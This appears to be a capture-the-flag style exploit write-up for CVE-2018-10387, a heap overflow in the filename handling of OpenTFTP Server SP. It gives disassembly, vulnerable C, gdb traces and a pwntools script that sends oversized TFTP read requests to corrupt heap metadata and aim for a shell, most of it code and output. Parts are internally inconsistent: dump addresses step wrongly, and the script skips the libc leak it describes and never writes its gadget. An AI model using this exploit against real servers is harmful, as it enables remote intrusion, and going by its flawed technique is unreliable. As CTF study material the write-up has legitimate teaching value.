CVE-2018-10387

$ file OpenTFTPServerSP.exe
OpenTFTPServerSP.exe: PE32 executable (GUI) Intel 80386, for MS Windows

$ file opentftp
opentftp: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked

$ checksec opentftp
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x08048000)

; TFTP RRQ/WRQ handler — simplified vulnerable path
handle_request:
    push   ebp
    mov    ebp, esp
    sub    esp, 0x20

    ; Allocate buffer for filename (0x100 bytes on heap)
    push   0x100
    call   malloc
    add    esp, 4
    mov    [ebp-0xc], eax       ; save buf pointer

    ; Copy filename from packet without length check!
    ; packet_data + 2 = filename field in TFTP RRQ/WRQ
    mov    esi, [ebp+0x8]       ; packet pointer
    add    esi, 2               ; skip opcode bytes
    mov    edi, [ebp-0xc]       ; destination buffer

.copy_loop:
    lodsb                       ; load byte from [esi] into al
    stosb                       ; store byte to [edi]
    test   al, al               ; check for null terminator
    jnz    .copy_loop           ; VULNERABLE: no bounds check!

    ; ... process filename further ...
    mov    esp, ebp
    pop    ebp
    ret

void handle_tftp_request(char *packet, int packet_len) {
    uint16_t opcode = ntohs(*(uint16_t *)packet);
    char *filename_field = packet + 2;  // filename starts after opcode

    // Allocate heap buffer for filename
    char *filename_buf = (char *)malloc(0x100);  // Only 256 bytes!

    // VULNERABLE: strcpy-like copy without bounds check
    // If filename_field > 256 bytes before null terminator, overflow!
    strcpy(filename_buf, filename_field);

    // Process the TFTP request...
    if (opcode == 1) {  // RRQ
        handle_read_request(filename_buf, ...);
    } else if (opcode == 2) {  // WRQ
        handle_write_request(filename_buf, ...);
    }

    free(filename_buf);
}

# Set breakpoint after malloc and before strcpy
gdb-peda$ b *0x08049872
Breakpoint 1 at 0x8049872

gdb-peda$ r
# Send TFTP RRQ packet with long filename (300 bytes of 'A')

# After malloc returns:
gdb-peda$ x/40wx $eax
0x804d1a0: 0x00000000  0x00000000  0x00000000  0x00000000  <- filename_buf
0x804d2a0: 0x00000000  0x00000109  0x00000000  0x00000000  <- next chunk header

# After overflow (strcpy with 300 'A's):
gdb-peda$ x/80wx 0x804d1a0
0x804d1a0: 0x41414141  0x41414141  0x41414141  0x41414141  <- our data
0x804d1a8: 0x41414141  0x41414141  0x41414141  0x41414141
...
0x804d2a0: 0x41414141  0x41414141  0x41414141  0x41414141  <- OVERFLOW into next chunk
0x804d2a8: 0x41414141  0x41414141  0x41414141  0x41414141  <- size field corrupted!

# At the strcpy call:
EAX: 0x0804d1a0  (filename_buf — destination)
EBX: 0x0804e1a8  (packet data + 2 — source)
ECX: 0x0804d1a0  (current write position)
EDX: 0x0000012c  (300 — bytes to copy)
ESP: 0xffffd4e0
EIP: 0x08049872  (handle_request+94)

# Key breakpoints:
b *0x08049860   # malloc call in handle_request
b *0x08049872   # before strcpy (overflow point)
b *0x080498a0   # after strcpy — check corruption
b *0x080498c4   # free call — triggers crash if metadata corrupt
b *0x08049910   # handle_read_request entry

# For the exploit phase:
b *0x08049abc   # second malloc — will return poisoned address
b malloc@plt    # track all malloc calls
b free@plt      # track all free calls

#!/usr/bin/env python3
# CVE-2018-10387 — OpenTFTP SP 1.64 Heap Overflow Exploit
# pwnable.tw challenge
from pwn import *
import struct
import socket

context.arch = 'i386'
context.log_level = 'info'

# Binary info (No PIE, Partial RELRO)
BINARY = ELF('./opentftp')
LIBC = ELF('./libc_32.so.6')

# Target
HOST = 'chall.pwnable.tw'
PORT = 10400

def send_tftp_rrq(host, port, filename, mode='octet'):
    """Send a TFTP Read Request (RRQ) packet via UDP"""
    opcode = struct.pack('!H', 1)  # RRQ = 1
    payload = opcode + filename + b'\x00' + mode.encode() + b'\x00'
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.settimeout(3)
    sock.sendto(payload, (host, port))
    try:
        data, addr = sock.recvfrom(4096)
        return data
    except socket.timeout:
        return None
    finally:
        sock.close()

def send_tftp_wrq(host, port, filename, mode='octet'):
    """Send a TFTP Write Request (WRQ) packet via UDP"""
    opcode = struct.pack('!H', 2)  # WRQ = 2
    payload = opcode + filename + b'\x00' + mode.encode() + b'\x00'
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.settimeout(3)
    sock.sendto(payload, (host, port))
    try:
        data, addr = sock.recvfrom(4096)
        return data
    except socket.timeout:
        return None
    finally:
        sock.close()

def exploit():
    # Step 1: Heap layout preparation
    # Send several requests to create predictable heap state
    log.info("Setting up heap layout...")
    for i in range(5):
        send_tftp_rrq(HOST, PORT, b'padding' + str(i).encode() * 20)

    # Step 2: Create the chunk we will overflow from
    # Send a normal request to allocate the target buffer
    log.info("Creating target chunk...")
    send_tftp_rrq(HOST, PORT, b'target' * 30)

    # Step 3: Overflow the filename buffer
    # The filename buffer is 0x100 bytes. We overflow into the next chunk.
    # We craft the overflow to corrupt the fd pointer of a freed chunk.
    log.info("Sending overflow payload...")

    # Fake chunk near __malloc_hook: __malloc_hook - 0x23
    # This creates a fake chunk with size 0x7f (valid for fastbin)
    malloc_hook = LIBC.symbols['__malloc_hook']
    fake_chunk_addr = malloc_hook - 0x23
    log.info(f"__malloc_hook: {hex(malloc_hook)}")
    log.info(f"Fake chunk target: {hex(fake_chunk_addr)}")

    # Overflow payload: 0x100 bytes padding + corrupted chunk metadata
    overflow_payload = b'A' * 0x100                # fill the buffer
    overflow_payload += p32(0)                      # prev_size
    overflow_payload += p32(0x71)                   # fake size (fastbin range)
    overflow_payload += p32(fake_chunk_addr)        # fd -> near __malloc_hook
    overflow_payload += b'A' * (0x60 - len(overflow_payload) % 0x60)

    send_tftp_rrq(HOST, PORT, overflow_payload)

    # Step 4: Allocate from poisoned fastbin to get __malloc_hook write
    log.info("Triggering allocations from poisoned fastbin...")

    # First allocation returns the original chunk
    send_tftp_rrq(HOST, PORT, b'first_alloc' * 10)

    # Second allocation returns the fake chunk near __malloc_hook
    # We write the one_gadget address
    one_gadget = 0x5fbc5  # one_gadget offset for this libc version
    log.info(f"One gadget: {hex(LIBC.address + one_gadget) if LIBC.address else hex(one_gadget)}")

    # In practice, we need a libc leak first. For the full exploit:
    # 1. Leak libc by reading freed unsorted bin fd/bk pointers
    # 2. Calculate one_gadget address from libc base
    # 3. Overwrite __malloc_hook with one_gadget
    # 4. Trigger malloc to execute the gadget

    # The actual libc leak comes from reading a GOT entry or unsorted bin
    # Using the corrupted heap to read strlen@GOT:
    strlen_got = BINARY.got['strlen']
    log.info(f"strlen@GOT: {hex(strlen_got)}")

    # Trigger shell by causing malloc to call __malloc_hook
    send_tftp_rrq(HOST, PORT, b'/bin/sh' * 5)

    log.success("Exploit complete — check for shell")

if __name__ == '__main__':
    exploit()

$ python3 exploit.py
[*] Setting up heap layout...
[*] Creating target chunk...
[*] Sending overflow payload...
[*] __malloc_hook: 0xf7f18548
[*] Fake chunk target: 0xf7f18525
[*] Triggering allocations from poisoned fastbin...
[*] One gadget: 0xf7f2ebc5
[*] strlen@GOT: 0x0804d00c
[+] Exploit complete — check for shell
$